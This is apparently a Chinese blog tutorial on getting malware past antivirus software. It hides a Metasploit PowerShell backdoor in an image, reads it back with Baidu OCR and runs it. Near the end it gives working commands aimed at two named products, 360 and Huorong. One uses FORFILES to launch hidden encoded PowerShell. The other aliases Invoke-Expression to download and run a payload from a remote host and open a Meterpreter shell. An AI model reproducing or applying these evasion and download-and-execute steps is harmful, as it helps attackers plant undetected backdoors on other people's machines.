关于查杀:
主要分为两种方式
静态查杀:
针对的是杀毒软件的静态文件扫描,比如提取文件内一段特征码或者只有木马远控才会大量使用的函数来识别为是木马
动态查杀:
简单来说,就是如木马在执行的某些行为被杀毒软件拦截,就是动态查杀方式
怎么样才能实现免杀呢?
1.恶意的特征不要写死在纯代码上(如shellcode)
2.使用加密手段和混淆的方式又或者是多种编码
3.远程读取恶意代码进行分离加载
4.添加花指令,加壳等手段干扰杀软分析
5.针对杀软对于特征码的收集进行更换绕过
进入正题,使用OCR图像识别的方式进行免杀
这里我们先在百度智能云申请下OCR文字识别功能
点击创建应用
通用场景是文字识别OCR,第一次使用OCR会有免费资源的,这里使用的是通用文字识别(高精度版)
创建好应用后,会有我们需要的AppID,APIKey,Secret Key,然后我们来查看下技术文档
API调用的使用方法
文档会有接口描述和请求说明
这里我们要看的是Python版的API调用使用说明
安装Python SDK
终端安装pip3 install baidu-aip
代码实现
这里我们先来调试下,看看能不能正常识别出来,后面我将用它来识别powershell
这里我将识别该flag图片的内容
Python3运行可以正常识别出来,OK
我将接下来用metasploit来生成Powershell后门
配置好相应需要的参数设置
在exploit执行生成Powershell并且会进行监听
借用forfiles绕过360对powershell的调用
360对于powershell而言,只要是开头有powershell的字眼,就会触发动态行为防护
所以,我们需要绕过本地调用。
forfiles 是一款 windows 平台的软件工具,其中选择文件并运行一个命令来操作文件。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用,也可以在批处理文件或其他脚本中使用。
在 cmd 终端中,借用 forfiles 调用 powershell
也可以启动一个计算器
接下来,我们截一张图,看看能不能正常识别出来
Python3运行
可以看到正常识别,我们将MSF生成的base64的powershell复制下来,进行识别
后面实验发现,有时候识别powershell会被识别为powershel1,所以我将powershell改成了大写,提高准确的识别率
后面也将l全部替换成L大写即可
Python3运行,看看识别效果
将其复制下来,看看对比有没有误
OK,接下来我们改改代码
MSF也能正常上线
改powershell,实现各自免杀360和火绒,免杀上线
我们通过图像识别的方式识别出powershell,后run(string_text,shell=True)来运行powershell,由于是图像识别,静态查杀肯定是绕过的了(无恶意特征)
到动态行为这里,360是针对于powershell的开头调用,所以我们改为这样子:
FORFILES /M *.txt /C “cmd /c POWERSHELL -nop -w hidden -e base64的powershell内容”
即可绕过360的动态行为
测试动静态都无反应
针对于火绒
我们将powershell改为:
为iex设置别名
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString(‘http://192.168.52.23:80/a’)
然后在图片识别反弹Meterpreter即可